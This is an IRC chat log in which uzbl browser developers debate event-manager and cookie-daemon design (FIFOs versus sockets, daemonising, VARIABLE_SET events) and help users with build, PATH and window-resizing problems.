15:45 < mason-l> It just saves code in the plugins if you know an internal variable is an int or float that you can access it in its native type. It's not as if uzbl is type agnostic, it stores each variables type so it's easy to fetch & parse.
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15:46 < mason-l> And the actual type checking code is about 3-4 lines.
15:46 < Dieterbe> okay then
15:46 < ruoso> Hi... i'm trying to build uzbl in Debian, and I'm getting the error: expected specifier-qualifier-list before ‘WebKitWebInspector’
15:46 < mason-l> ruoso, You need webkit libs installed.
15:47 < mason-l> Above 1.1.10 I think.
15:47 < ruoso> I have libwebkit-dev installed
15:47 < mason-l> Version number?
15:47 < ruoso> ah... ok... 1.0.1 here
15:47 < mason-l> :)
15:47 < ruoso> it'd be cool to test that in the makefile
15:48 < Dieterbe> btw mason-l , i was thinking about scalability. if for each uzbl-core we are going to spawn a new event_manager.py it will be a waste to have 20 event_manager.py's running for 20 open pages. so it would be cool to be able to share 1 event manager for n uzbl-core instances
15:49 < mason-l> Dieterbe, Already thought about it :D
15:49 < mason-l> And built the event_manager in that manner.
15:49 < mason-l> The only thing that is missing is the server class.
15:49 < Dieterbe> maybe we should do event_handler just like cookie_handler -> event_handler = talk_to_fifo <path to a fifo>
15:49 < mason-l> Dieterbe, Thats not a bad idea.
15:50 < mason-l> I would prefer working with sockets though, they have a lower latency (hopefully :P)
15:50 < Dieterbe> or, in uzbl-browser, we could redirect uzbl-core's stdout to a fifo, but then we have no nice way to make sure the fifo exists and the event manager is running and such
15:51 < Dieterbe> how do you know sockets have lower latency?
15:51 < mason-l> Dieterbe, its just something I've always assumed and never checked (thus the :P)
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15:52 < mason-l> But it removes all the f = open(fifo, 'w'); f.write("cmd here"); f.close() versus: s.send("cmd here")
15:52 < mason-l> (after the initial socket setup that is)
15:53 < mason-l> Dieterbe, I'll time it!
15:53 < Dieterbe> i think you can just as well open a FD to a fifo and keep the FD open
15:53 < mason-l> You cant keep the fifo open.
15:54 < mason-l> For reasons I've forgotten I had a terrible time getting fifo communication working in uzbl_tabbed.py
15:54 < Dieterbe> see 'multiple writers' @ http://www.ecst.csuchico.edu/~beej/guide/ipc/fifos.html
15:54 < Dieterbe> rob|: are you aware of this stuff?
15:56 < Dieterbe> mason-l: anyway, regardless of how exactly we'll implement it, the event manager will need to support multiple uzbl instances. so all things related to uzbl instances (config, path to socket, fd's,..) need to be put in associative arrays with the instance name as key
15:56 < rob|> yeah, that's why we send the uzbl name as part of the event message
15:57 < mason-l> Dieterbe, Already done it.
15:57 < Dieterbe> you can have multiple writers on a fifo by keeping the fd's open? no need to reopen/close right? rob| ?
15:57 < mason-l> Dieterbe, Short of creating the ServerClass that is.
15:57 < rob|> hmm, i _guess_ you can not entirely sure, though
15:58 < rob|> i mean if using blcking IO i see no reason why this shouldn't be possibl
15:58 < rob|> e
16:04 < rob|> so, i'd say until we have a means to send messages over sockets (fifos are not necessary) we can just use a wrapper like 'uzbl > event_fifo' and let the ev. manager read from that fifo
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16:05 < rob|> and for the socket part we could just use talk_to_socket as dieter already mentioned
16:06 < scj> mkfifo uzbl.fifo; cat uzbl.fifo | event-manager; uzbl > uzbl.fifo
16:06 < rob|> yeah, something like that
16:06 < Dieterbe> yes that, and also some logic that checks if a fifo already exists / event manager is already running
16:07 < Dieterbe> that, we put in uzbl-browser
16:07 < mason-l> The big question is if you want the event_manager damonisable (see: cookie_daemon.py)
16:07 < mason-l> 'daemonisable
16:09 < Knirch> would I be wasting my time to submit a patch for review concerning the use of environment variables instead of the static 7 arguments to all scripts?
16:09 < rob|> Knirch: certainly not
16:09 < Knirch> haven't paid much attention to chats and whatnot, so unsure what the concensus on that is
16:09 < Dieterbe> rob|: what do you think about implementing a talk_to_fifo command inside uzbl-core so that we can do the talking to the event manager inside uzbl? similar to the cookie handler
16:10 < Knirch> rob|: would it be prudent to submit against master or experimental?
16:10 < rob|> Dieterbe: i agree on that, though why would we want fifos and not sockets? i mean as you can see in my and scj's examples above setting up a fifo to work that way is trivial
16:10 < mason-l> Knirch, Experimental if possible.
16:10 < rob|> Knirch: experimental
16:11 < Knirch> check
16:11 < mason-l> Dieterbe, if its done internally then I would prefer using sockets.
16:11 < mason-l> If its some pipe job then an allowance can be made for fifo communication.
16:12 < scj> sockets are sort of useless for the event manager, and will only be needed by external scripts
16:12 < Dieterbe> rob|: i think doing it "outside" of uzbl-core is a bit ugly, because then you need to check if the fifo already exists and such. if you do it inside uzbl, we can implement that logic inside uzbl-core (which we were already planning to do for the cookie_daemon anyway)
16:12 < mason-l> scj, "and will only be needed by external scripts" Huh?
16:13 < rob|> i don't see what's so ugly about adding a simple check to the wrapper
16:13 < mason-l> rob|, Because the handler could fail while uzbl is running.
16:13 < scj> mason-l: if the event-manager wants to know something about the uzbable instance, it would just have to send 'print EVENT QUERY [@NAME] @variable' to the fifo and read the result
16:14 < mason-l> scj, I was talking about uzbl -> event_manager.py event-only communication.
16:15 < scj> me too. and in that case, sockets are superflouous
16:15 < Dieterbe> rob|> i don't see what's so ugly about adding a simple check to the wrapper <-- we will write the logic for the cookie_daemon anyway. so we should probably reuse it instead of re-implementing it in shellscript
16:15 < glphvgacs> hi, building on mac, "Package webkit-1.0 was not found in the pkg-config search path"
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16:16 < glphvgacs> so did libsoup
16:16 < rob|> Dieterbe: well, ok. though, i'd still vote to make events usable over all/any of the interfaces
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16:17 < glphvgacs> and webkit-gtk I guess
16:17 < rob|> glphvgacs: you might need to also install the devel packages
16:17 < glphvgacs> from where? macports?
16:17 < rob|> sorry, i have no idea about macs and osx
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16:17 < Dieterbe>  rob|> Dieterbe: well, ok. though, i'd still vote to make events usable over all/any of the interfaces <-- in that case it would make even more sense to do it in uzbl-core as we already have talk_to_socket aswell
16:18 < rob|> right, that's what i mean
16:18 < rob|> if we do it anyways then let's support all interfaces
16:18 < scj> glphvgacs: are you using the macports file in the wiki?
16:19 < mason-l> Dieterbe & rob|: Also I recommend some STARTUP & SHUTDOWN events so that the event handler & plugins can delete any instance specific data it may have on each instead of random data piling up (because it won't be garbage collected automatically).
16:19 < Dieterbe> rob|: but why would we need to support all interfaces? socket for example, why would we need socket communication with event handler? it's only 1 direction
16:19 < glphvgacs> scj: no
16:19 < Dieterbe> mason-l: sure events like those are on the todolist for already a long while
16:20 < scj> glphvgacs: http://www.uzbl.org/wiki/macports_portfile
16:20 < mason-l> Dieterbe, Good job.
16:20 < scj> glphvgacs: I haven't touched a mac in my life, so that is all the help I can give you
16:20 < glphvgacs> scj: that page is confusing, is there a port for uzbl?
16:21 < glphvgacs> scj: a port on macports I mean
16:21 < glphvgacs> scj: or is that page about webkit-gtk?
16:22 < scj> I have no idea, never used port and portfiles
16:24 < glphvgacs> do i need  gnome_keyring with webkit-gtk ?
16:24 < rob|> Dieterbe: probably because i still haven't abondoned the idea of selectivly sending events over specific sockets/fifos
16:26 < rob|> Dieterbe: i.e. we could do:   'event_talk_to_socket link_hover_socket  LINK_HOVER' no a script attaches to this socket and receives _and_ sends all its data over it
16:26 < Dieterbe> i think that would be an overcomplication. an event handler can always ignore events it doesn't care about. or hell.. 'grep -v'
16:26 < rob|> that way we can have multiple event managers running each one doing a specific job
16:27 < Dieterbe> or 'grep' ;)
16:27 < mason-l> rob|, Even I think thats way over the top :P
16:27 < rob|> well, ok i guess you're right with that
16:27 < scj> the important thing is that we could :v
16:28 < Dieterbe> okay i think it's about time we wrap up and agree about some implementation details, even if they are not definitive
16:29 < mason-l> To daemonise or not to daemonise, that is the question.
16:29 < mason-l> And fifo v.s. socket.
16:29 < Dieterbe> socket is out.  because traffic is 1 direction only (see discussion we just had)
16:30 < scj> deamonization is trivial. (eventmanager > /dev/null & disown)
16:30 < rob|> mason-l: re. the daemonising, can't we just have both controllable with a cli option?
16:30 < mason-l> rob|, Yeah, but do I make it capable in the first place.
16:31 < rob|> well, i don't care that much about that we could just do what scj said and add the deamonising part later
16:31 < rob|> or if you feel like hacking on it just do it, it certainly won't hurt
16:32 < mason-l> Consider it added eventually (pardon the pun).
16:32 < rob|> hah, alright :)
16:32 < Dieterbe> i don't get the pun
16:33 < mason-l> Dieterbe, Its an event parser so consider that feature x added eventually.
16:34 < Dieterbe> ah, not very obvious pun there
16:34 < rob|> i guess the most prominent task is to write a working keyhandler
16:34 < mason-l> I'm on it.
16:35 < rob|> ok, very cool
16:35 < mason-l> rob|, Is it easy legwork getting that KEY_RELEASE event added?
16:35 < rob|> yeah, should be i just can't mount that damn /home partion writable
16:35 < rob|> i fear it's a hardware issue or something
16:36 < mason-l> rob|, Still having problems with that?
16:36 < rob|> yeah :(
16:36  * ruoso finally finishing to backport webkit 1.1 to lenny
16:36 < ruoso> apt-build++
16:36 < Dieterbe> lenny already needs backports? lol..
16:37 < rob|> ruoso: oh, that's nice be sure to metion that on the wiki
16:38 < ruoso> rob|, it seems someone already did it and provided the binaries
16:38  * ruoso is a control freak that prefers doing himself 
16:38 < ruoso> Dieterbe, lenny was released some months ago... nothing wrong in requiring backports for cutting-edge development
16:39 < Dieterbe> rob|, mason-l what do you think of this:
16:39 < Dieterbe> cookie_handler = talk_to_socket <socket_file>
16:39 < Dieterbe> cookie_handler_pre = assure_socket <socket_file>
16:39 < Dieterbe> oh crap. i forgot something there
16:39 < Dieterbe> it also needs 'command to execute' in case the socket doesn't exist
16:41 < mason-l> Dieterbe, I'm guessing the cookie_handler_pre is needed because the talk_to_socket function is caller agnostic?
16:42 < Dieterbe> yeah, but i forgot that assure_socket would need both a socket to check , and a command to execute if there's a problem with the socket. so the problem is the same
16:42 < mason-l> Is there any way to squeeze it down to two: cookie_handler & cookie_handler_exec
16:43 < mason-l> cookie_handler_launcher is also a good name though.
16:43 < Dieterbe> so how would that work then? 
16:44 < mason-l> set cookie_handler = talk_to_socket <socket location>
16:44 < mason-l> set cookie_handler_launcher = $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py --arg1 --arg2="foo"
16:44 < mason-l> Or do you mean internally?
16:45 < mason-l> Cookies have always been a fringe case. Its not out of the way to do some special checks the cookie handler exists before calling talk_to_socket
16:45 < mason-l> 'cookie handler socket
16:45 < Dieterbe> yes. talk_to_socket is just a command. if it notices a problem with the socket, it cannot know it has to look for 'cookie_handler_launcher' or 'event_handler_launcher' or something else
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16:46 < Dieterbe> best syntax would imho be something like : set cookie_handler = talk_to_socket <socket location> <script to execute in case of problem>, but we need big refactorings to support that
16:47 < mason-l> Yes but what I'm saying is that socket handling is such a fringe case that it there should be another function that talk_to_socket should either be extended or superseded by a function specifically for cookie handling & serving.
16:47 < scj> wouldn't uzbl just request a cookie and the eventmanager resolve it?
16:47 < mason-l> scj, We briefly discussed that earlier.
16:47 < Dieterbe> scj: no eventmanager doesn't do cookies, but cookies are too tighly coupled into the http requests (sync) whereas events are async .
16:49 < mason-l> Dieterbe, Theres nothing stopping you polling & sleeping while the cookie daemon is starting (after a START_COOKIE_HANDLER event) but as you mentioned yourself earlier thats not preferable.
16:49 < Dieterbe> ..
16:49 < Dieterbe> don't make this more complicated then it already is
16:50 < mason-l> How is blocking until the cookie handler socket exists over complicating things?
16:50 < mason-l> (if we were going to go down that path)
16:51 < mason-l> We already do that something to that effect now with a timeout (500ms I believe).
16:52 < Dieterbe> explaining a solution we already agreed is not feasible, is overcomplicating things
16:52 < mason-l> Ok ok.
16:53 < scj> uzbl should be responsible for making sure the cookie handler is running
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16:53 < Dieterbe> yes
16:53 < scj> oh. I forgot the not. it shouldn't be reponsible
16:54 < Dieterbe> well i disagree
16:55 < mason-l> personally I would drop the talk_to_socket command (not the function) in preference of a socket-only cookie handler definition like:
16:55 < mason-l> set cookie_handler_socket = <socket location>
16:55 < mason-l> set cookie_handler_launcher = path/to/cookie_daemon.py --arg1 --arg2="foo"
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16:55 < Dieterbe> hmmm.. this makes using 'spawn' or whatever not possibel anymore for cookies
16:56 < mason-l> Dieterbe, We may be able to meet half-way.
16:56 < Dieterbe> i think it's best to have something like: talk_to_socket <socket filename> 'command to execute if socket is broken'
16:57 < Dieterbe> but DuClare and rob| are most into that stuff
16:57 < Dieterbe> they know what should be done in order to make that possible
16:57 < scj> oh, and rename talk_to_socket to 'socket'
16:57 < mason-l> if "cookie_handler" is defined then use spawn; else if "cookie_handler_socket" & "cookie_handler_launcher" defined then: launch handler and serve cookies via socket.
16:59 < Dieterbe> mason-l: that doesn't sound too bad either. as long as you meant "launch handler.. _if_ there is a problem with the socket"
16:59 < Dieterbe> but the approach i mentioned would be more generic and reusable
17:00 < mason-l> Dieterbe, Yes "launch handler" means launch if theres a problem with the socket and or the socket doesnt exist.
17:00 < Dieterbe> ok
17:00 < mason-l> Dieterbe, But thats exactly my point. While the talk_to_socket function is useful the command is not. Talking to sockets is too much of a fringe case.
17:01 < mason-l> And any talk_to_socket function should be paired with a whatever_handler_launcher as well.
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17:05 < mason-l> So in conclusion: (1) When cookie_handler is defined use that resulting command (most likely spawn './cookies.py') otherwise (2) if "cookie_handler_socket" and "cookie_handler_launcher" defined then (3) launch the daemon if it doesn't exist or if there is a problem with the socket. (4) drop the talk_to_socket command and (5) If no cookie_handlers* variables are defined at all then use the internal webkit cookie handler.
17:05 < mason-l> if the socket doesn't exist I should say.
17:07 < Dieterbe> hmm yeah. you're starting to convince. i just hope we won't be needing socket communication with something else then
17:08 < Dieterbe> rob|: what do you think?
17:09 < rob|> hmm, i'm quite indetermined, although mason's idea doesn't sound too bad
17:11 < Dieterbe> rob|: any estimation on the amount of work / LoC it would take to be able to define like so: talk_to_socket <socket-file-this-is-always-one-word> "command to execute which can have arguments and stuff"
17:12 < scj> oh, and rename it from talk_to_socket to socket
17:12 < mason-l> scj, :)
17:12 < Dieterbe> yes yes yes
17:12 < evaryont> just my 0.02, but why not have a cookie_handler = socket /path/, and if /path/ doesn't exist, don't save or send cookies?
17:12 < evaryont> otherwise, ask the socket/cookie handler to get/save the cookies.
17:13 < mason-l> evaryont, Thats what we do already.
17:14 < evaryont> mason-l: hm, then I'm missing the part of the conversation where you guys determine that isn't enough, for whatever reason. :/
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17:14 < mason-l> evaryont, its just the initial launching of the cookie handler. We are all in agreement that it should be done inside uzbl-core
17:14 < mason-l> Not in a wrapper script.
17:15 < mason-l> And its the cookie handler launching approaches that we are discussing.
17:15 < scj> for the record, I don't agree
17:15 < Dieterbe> and also if the cookie daemon would crash, it would be nice if uzbl could restart it. so you don't need to have scripts running all the time to monitor if the daemon runs and restart it if not so
17:15 < evaryont> I like Dieterbe's idea of `socket /path/ "binary to execute if it isn't found"`
17:16 < Dieterbe> i think the 'checking if it crashed' is more important then the initial launch. the initial launch you can easily do in .xinitrc or something, but monitoring if it's still working would get ugly if not done inside uzbl
17:17 < evaryont> both cases could be solved by the proposed socket arguments. ($1 = path, $2 = launch script)
17:18 < rob|> well, we could just generate an event COOKIE_DAEMON_UNRESPONSIVE or something and let the event manager restart it..
17:18 < evaryont> heh, that works too :P
17:18 < sitwon> didn't it say somewhere on the website that cookies should _not_ be handled by the browser?
17:19 < evaryont> sitwon: but the cookie daemon should :P
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17:19 < Kuba> Hi!
17:19 < Dieterbe> rob|: then uzbl still has to wait and poll until the event manager has started the daemon
17:19 < evaryont> sitwon: in order to make sure that the cookie daemon is still around whenver it's needed.
17:19 < Kuba> Uzbl is brilliant!
17:19 < evaryont> Kuba: and awesome. :P
17:19 < Kuba> However there is one "but"
17:20 < sitwon> evaryont: yes, but you still need to specify which cookie manager you want to use somehow... right?
17:20 < scj> right
17:20 < Kuba> Is there any possibility of running Uzbl on Windows?
17:20 < mason-l> Kuba, LOL
17:20 < sitwon> Kuba: VM?
17:20 < Kuba> sitwon: too complicated
17:20 < sitwon> maybe Cygwin
17:20 < Kuba> sitwon: thought about X-tunneling
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17:20 < scj> dunno if someone has tried building it on windows
17:21 < evaryont> sitwon: yes. the config file
17:21 < sitwon> evaryont: isn't that what is already does now?
17:21 < Kuba> scj: That is why I'm here to ask whether someone has achieved it, would it even be possible?
17:21 < rob|> Kuba: http://omploader.org/vMjdqNg
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17:22 < Kuba> rob|: how the $#%#? ;D
17:22 < rob|> Kuba: just a "fake", though it's running on a remote pc with X forwarding...
17:22 < evaryont> sitwon: what if the cookie daemon crashes? or isn't there/started? How do we handle that? (read the backlog for that convo)
17:22 < Dieterbe> Kuba: there is a guy with nickname 'uranther', sometimes on this channel. he uses windows too
17:23 < Kuba> Dieterbe: Do you know if he built the source on windows or just running X-server on cygwin/X-tunneling?
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17:23 < sitwon> evaryont: evaryont with a 2-line wrapper script you can restart the cookie daemon if it crashes, and with another 3 lines it could alert you if it fails too many times in a certian time frame
17:24 < evaryont> I g2g now, I do hope a consensus is reached.
17:24 < rob|> Kuba: well, i guess there is a gtk port for windows so you should be able to compile webkitgtk and uzbl of course
17:24 < evaryont> sitwon: which is one of the many ideas proposed, get everyone else to agree with you :P
17:24 < rob|> Kuba: i'm not aware of any success stories, though
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17:25 < Dieterbe> Kuba: i don't even know if he runs uzbl on windows or not
17:26 < Kuba> rob|: which X-server do you use?
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17:29 < scj> wrapper script for managing N uzbl -> 1 event handler http://pastie.org/607728
17:31 < rob|> Kuba: cygwin's one
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17:32 < sman> has anyone got a webjump url for google maps?
17:32 < rob|> scj: shouldn't that be '-p $FIFO'
17:33 < Dieterbe> scj: that spawns a new event handler for every uzbl instance. and it doesn't handle an event handler crashing
17:33 < mason-l> Also everyone should check my commits and pull in my work on the event manager.
17:33 < mason-l> git://github.com/mason-larobina/uzbl.git branch event-messages
17:33 < Dieterbe> rob|: do you know how parse_command and run_handler relate?
17:34 < sman> i.e. a url of the form  http://www.google.com/search?q=%s that I can just keybind in uzbl
17:34 < Dieterbe> i'm looking in the source if i can do the talk_to_socket <socket-file-this-is-always-one-word> "command to execute which can have arguments and stuff" thing myself but it's hard to figure out how it works
17:34 < Dieterbe> since it looks like talk_to_socket can be called from multiple places (run_handler and directly as command)
17:38 < scj> ok. next attempt http://pastie.org/607733
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17:40 < stalafin> i have followed this tutorial to make an automated script to use cookie_daemon.py: http://www.uzbl.org/wiki/cookie_daemon.py i don't understand though how this is supposed to launch uzbl or the daemon....
17:41 < Dieterbe> scj: still.. what if eventhandler crashes? the fifo could remain
17:41 < mason-l> stalafin, You need to name that script uzbl and place it in ~/.bin/ (or /usr/bin/local)
17:42 < stalafin> mason-l: yeha, i placed it in .bin
17:42 < mason-l> If you place it in ~/.bin be sure to add that path to your $PATH with the following line in your ~/.bashrc
17:42 < mason-l> export PATH="~/.bin:$PATH"
17:42 < mason-l> then run: source ~/.bashrc
17:42 < scj> Dieterbe: the obvious solution is to not crash your eventhandler
17:42 < mason-l> then run: "which uzbl" and check that it reads ~/.bin/uzbl
17:43 < mason-l> then run uzbl and that wrapper is executed.
17:43 < stalafin> mason-l: and now i am supposed to run uzbl and it starts the daemon?
17:43 < mason-l> Yeah
17:43 < stalafin> talk_to_socket: connect failed
17:43 < mason-l> Have you added in the correct config for the daemon?
17:43 < mason-l> set cookie_handler = talk_to_socket $XDG_CACHE_HOME/uzbl/cookie_daemon_socket
17:44 < stalafin> yeah, i just ran the daemon manually, and it works fine without the error
17:44 < mason-l> and running "which uzbl" returns ~/.bin/uzbl ?
17:44 < stalafin> i assume the daemon is not started by the wrapepr
17:44 < stalafin> /usr/bin/uzb
17:44 < stalafin> no
17:44 < stalafin> :(
17:45 < mason-l> stalafin, And theres your problem!
17:45 < mason-l> Are you using bash?
17:45 < stalafin> mason-l: yeah
17:45 < stalafin> mason-l: i guess...
17:46 < stalafin> no, it's installed
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17:49 < stalafin> i get some weird output for $ echo $PATH
17:49 < mason-l> stalafin, is ~/.bin even in $PATH?
17:49 < stalafin> http://pastebin.com/d214c15ef
17:50 < stalafin> this does not look right
17:50 < stalafin> lotsa bin in there
17:50 < mason-l> Oh yeah, its in there alright :P
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17:51 < stalafin> look, i just copy-pasteed the instructions....
17:51 < Kuba> Hmmm, is it normal for uzbl to have problems with window scaling?
17:51 < mason-l> stalafin, Did you make ~/.bin/uzbl executable?
17:51 < mason-l> (I forgot to add that in on the wiki)
17:51 < sitwon> evaryont: http://pastebin.com/da01d2c5 (It's not the cleanest version, but I lost the shorter one I had used before)
17:52 < stalafin> mason-l: i <3 you :D
17:52 < Kuba> Ehh when I maximize the window it won't scroll anymore
17:53 < Kuba> And when I click inside it goes to the end of the website
17:53 < Kuba> What could be the reason?
17:53 < stalafin> mason-l: now i just have to find out why i am still not able to create new instances of uzbl when i have visited www.uzbl.org and then i can use uzbl :D
17:53 < Dieterbe> scj: rob| mason-l . well if you stick to the "just don't crash your cookie_daemon/event_manager" then we can easily do it with a wrapper script indeed and makes some of our complications moot.  maybe it's best indeed to not try overly protective
17:56 < stalafin> so do i need to do some special stuff when i try to acces gmail?
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17:56 < Kuba> Definetely uzbl has some problem with compiz ;P
17:57 < mason-l> Dieterbe, I don't agree mainly because its not a single uzbl instance thats affected when the cookie_daemon/event_manager fails.
17:57 < stalafin> ah, it's fine... i guess, when i run several instances of uzbl i need to set up cookie_daemon.py such that it runs several isntances?
17:58 < mason-l> stalafin, No, when you launch the daemon it daemonises. There will only ever be one cookie_daemon running no matter how many times you call it (unless you change the socket location)
17:58 < stalafin> mason-l: i see...
17:59 < stalafin> oh boy.... now i run into the problem with uzbl crashing when i try to open a new instance from within an older instance...
17:59 < stalafin> i am surprised that there is nobody else with that problem
17:59 < mason-l> stalafin, I've edited the startup script on the wiki to make it less prone to failure & added in that chmod line.
18:00 < mason-l> stalafin, What kind of output do you get in your terminal?
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18:01 < stalafin> mason-l: that's the funny thing; at first, nothing, except: /home/$USER/.bin/uzbl: line 10: 19274 Segmentation fault      /usr/bin/uzbl $@
18:02 < stalafin> but this is new and only after i added this startup script in .bin/uzbl
18:02 < stalafin> now, when i try to open a new instance again
18:02 < stalafin> ** (uzbl:19290): WARNING **: init_fifo: can't create /tmp/uzbl_fifo_35651616: file exists
18:02 < stalafin> but this is only after it crashes the first time
18:02 < mason-l> Run: rm /tmp/uzbl_{fifo|socket}_35651616
18:02 < stalafin> when i delete all fifo and socket entries in /tmp/ i will not get this error (and the new instance will still crash)
18:03 < mason-l> Oh.
18:03 < stalafin> that's the thing
18:03 < stalafin> the old one continues running jsut fine
18:04 < rob|> stalafin: does this also happen with the default config?
18:04 < Kuba> Is it known bug, that uzbl's window can't be resized properly?
18:04 < stalafin> rob|: hold on, i will try that...
18:05 < rob|> Kuba: there is/was such a problem with a specific webkit version
18:06 < Kuba> rob|: Version: 1.1.12-1~jjwkt2 (ubuntu)
18:06 < stalafin> rob|: yes
18:06 < stalafin> rob|: it also happens with the default config
18:07 < stalafin> maybe there is some package uzbl depends which i should reinstall or smth?
18:08 < rob|> hmm, strange
18:08 < rob|> can't test this right now
18:08 < Kuba> Is there something like fullscreen mode?
18:08 < rob|> what should that do?
18:09 < rob|> maximize uzbl? if so, no that's the WM's job
18:10 < Kuba> Ehh
18:10 < Kuba> I'm experiencing terrible problems with maximizing/resizing/scrolling uzbl window
18:10 < Kuba> It is practically unusuable
18:11 < rob|> hrrm, that certainly sucks
18:11 < sman> has anyone got a webjump url for google maps?
18:11 < sman> i.e. a url of the form  http://www.google.com/search?q=%s that I can just keybind in uzbl
18:13 < rob|> sman: http://maps.google.com/maps/geo?q=FOOBAR  <--- might work
18:14 < rob|> untested, though...
18:14 < stalafin> rob|: so you don't have an idea about how i could test what's wrong with my uzbl?
18:14 < sman> rob|: nope
18:14 < Kuba> Can you resize uzbl's window horizontally, so the page is wider that it?
18:15 < Kuba> than *
18:15 < rob|> stalafin: sorry, i've got no idea what might be wrong
18:15 < stalafin> no one does :(
18:16 < rob|> actually, i've never experienced such an issue. really strange...
18:16 < Kuba> wooops uzbl is using too much cpu than it should... 21% is big number
18:16 < sman> you can have a load of my working webjumps if you can make me one for google maps :D
18:16 < rob|> Kuba: i use a tiling WM so i never had to resize anything
18:17 < stalafin> Kuba: resizing works perfectly
18:17 < Kuba> stalafin: and can you scroll horizontally
18:17 < Kuba> ?
18:18 < stalafin> with my mouse, yeah
18:18 < stalafin> gimme a website maybe
18:18 < stalafin> where you have issues
18:18 < Kuba> localhost ;P
18:18 < Dieterbe> inject_handler_args is a nasty function...
18:18 < Kuba> every web page
18:19 < stalafin> Kuba: so what's happening to you?
18:19 < sman> OHBALLZ
18:20 < Kuba> After a while of using uzbl it eg. does not scroll window
18:20 < Dieterbe> mason-l: gonna look at ur codes now
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18:20 < mason-l> Dieterbe, Great, let me know if you still have any problems with the alpha. I'm working on keycmd tracking now.
18:21 < Kuba> stalafin: when I intialize uzbl it start with small window, open eg. http://onet.pl, window resize to fit the page and I can't resize it
18:21 < Dieterbe> mason-l: what is the purpose of config_loaded?
18:22 < Kuba> stalafin: actually I can make it bigger, bot not smaller
18:22 < stalafin> Kuba: both works for me....
18:22 < Kuba> stalafin: which webkit version you used for compilation?
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18:23 < mason-l> Dieterbe, It prevents uzbl-core for raising VARIABLE_SET's for each individual line it loads of the config and then just uses dump_config to dump the entire hash table as a VARIABLE_SET at once.
18:23 < stalafin> Kuba: 1.1.10-2
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18:24 < Dieterbe> mason-l: what is the purpose of that? remember the discussion we had earlier today that _every_ variable set in uzbl-core should raise a VARIABLE_SET event?
18:25 < Kuba> stalafin: Nevermind, will try to fix it later
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18:27 < mason-l> It means that if an event parser chooses it can record the entire config hash table on startup not just the variables that are directly referenced and changed in the config. In event_manager.py's case it means you aren't accidentally re-assigning a variable in uzbl.config with a variable that already exists of type x
18:31 < mason-l> Dieterbe, And with the end goal of dumping the whole hash table for the event manager to store/discard the uzbl.state.config_loaded makes sure each VARIABLE_SET is only raised once because a number of actions/plugins/handlers might be sensitive to multiple VARIABLE_SET being raised for the same key with the exact same value.
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18:32 < github> uzbl: Dieter Plaetinck event-messages SHA1-9cd25e5
18:32 < github> todo updates
18:32 < github> http://bit.ly/afPgA
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18:33 < Kuba> is github bot?
18:34 < mason-l> Dieterbe, "+* why the need of queues in mason-l branch?"
18:34 < Dieterbe> one thing at a time :)
18:34 < Dieterbe> i'm still trying to understand what you just said
18:34 < mason-l> Ok.
18:35 < Dieterbe> I think causing uzbl to not raise variable_set events when variables are set , is very dirty
18:36 < Dieterbe> anytime a variable is set, a variable_set event should be raised. that's a given.
18:37 < Dieterbe> and handlers "might" be sensitive is a bad excuse
18:37 < Dieterbe> if they are sensitive to it, they should be fixed
18:39 < Dieterbe> mason-l: ?
18:40 < mason-l> Well its not like its arbitrarily preventing set_var_value from raising VARIABLE_SET's. It waits until the entire config is loaded before dumping the entire hash table as a single array of VARIABLE_SET's
18:41 < mason-l> I was trying to think of a way to dump the entire config without dumping duplicates and this was the method I chose.
18:41 < mason-l> I'm willing to be persuaded out of it but it seemed reasonable.
18:43 < Dieterbe> so if i do : echo -e 'set myvar=foo\nsetmyvar=bar' | uzbl -c -, it could be that only 'VARIABLE_SET [...] myvar bar' is emitted, not foo?
18:44 < mason-l> Yes exactly.
18:45 < Dieterbe> i do not like that
18:45 < Dieterbe> really, 'set myvar=foo' could trigger something very important.  i think "some plugin `might` be `sensitive`" is not an excuse
18:46 < Dieterbe> people should just write non-crap plugins
18:46 < Dieterbe> the whole point of the event system is that you have a _reliable_ notification of any event in uzbl
18:49 < Dieterbe> mason-l: ?
18:53 < mason-l> Dieterbe, http://github.com/mason-larobina/uzbl/commit/6e92d603955f3cb3635cb01a21830f6c510d4e5b
18:55 < mason-l> But at least something good came from that earlier commit. Any custom variable or change to a variable of type int or float weren't raising VARIABLE_SET events.
18:58 < Dieterbe> yeah that was just lazyness on my end
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19:02 < mason-l> Dieterbe, How about the rest of the changes?
19:02 < mason-l> Dieterbe, You wanted to know the reason for the outgoing command queues in my branch?
19:04 < mason-l> Simple: When an event is raised before the fifo or sockets are created that is where the commands are buffered. Then upon discovery of the locations all pending commands are purged.
19:04 < mason-l> Which reminds me, I need to put some self._flush() in the internal event handlers for FIFO_SET and SOCKET_SET
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19:05 < ecraven> hello :)
19:05 < mason-l> ecraven, Hello
19:05 < ecraven> should modkey and always_insert_mode work in the uzbl-git package?
19:05 < ecraven> is there an emacs-like config file anywhere? i.e. modeless ;)
19:06 < Dieterbe> mason-l: i see. okay that sounds good
19:06 < Dieterbe> ecraven: set always_insert_mode = 1
19:06 < Dieterbe> modkey is sort of broken though
19:07 < ecraven> Dieterbe: ok, just asking because i can't make it work :) then that's probably not a configuration problem.
19:07 < ecraven> anyway, love uzbl even though i can't use it much yet ;) this will finally integrate well with emacs/ratpoison and make me get rid of firefox!
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19:12 < github> uzbl: Dieter Plaetinck event-messages SHA1-207c292
19:12 < github> more useful uzbl-browser script that can share event manager with multiple instances through a fifo. also starting the cookie daemon is implemented
19:12 < github> http://bit.ly/UXZRT
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19:13 < Dieterbe> ecraven: check this http://www.haxney.org/2009/08/its-alive.html
19:13 < ecraven> Dieterbe: hehe, looks great, but i'm using emacs inside screen, so not that much integration :)
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19:16 < Dieterbe> mason-l: what are the changes in dump_var_hash() for?
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19:17 < mason-l> Dieterbe, git diff just displays it weirdly, what I did was remove the bind command dumping.
19:17 < Dieterbe> only that?
19:17 < ecraven> is there a reason for using a common modkey, and not just using keybindings like  bind C-w = exit  ?
19:18 < ruoso> Ok, now with the updated webkit, I get undefined reference to gtk_adjustment_get_page_size and others similar
19:18 < mason-l> The changes I made in dump_var_hash was to make it dump all variable in VARIABLE_SET form.
19:18 < mason-l> s/variable/variables/
19:19 < ruoso> oh right,... you need gtk 2.14
19:19 < Dieterbe> sorry mason-l .. i thought i said this morning that dump_var_hash is meant to generate an output which you can directly use as a config again?
19:20 < Dieterbe> if you want to dump the entire config as a chain of VARIABLE_SET events, make a new function
19:20 < mason-l> Oops.
19:21 < mason-l> What should I name the new function
19:21 < mason-l> dump_var_sets?
19:21 < mason-l> dump_config_as_events ?
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19:22 < ruoso> Nice, there's a patch to make it work on gtk 2.12
19:23 < Dieterbe> mason-l: dump_config_as_events sounds good to me
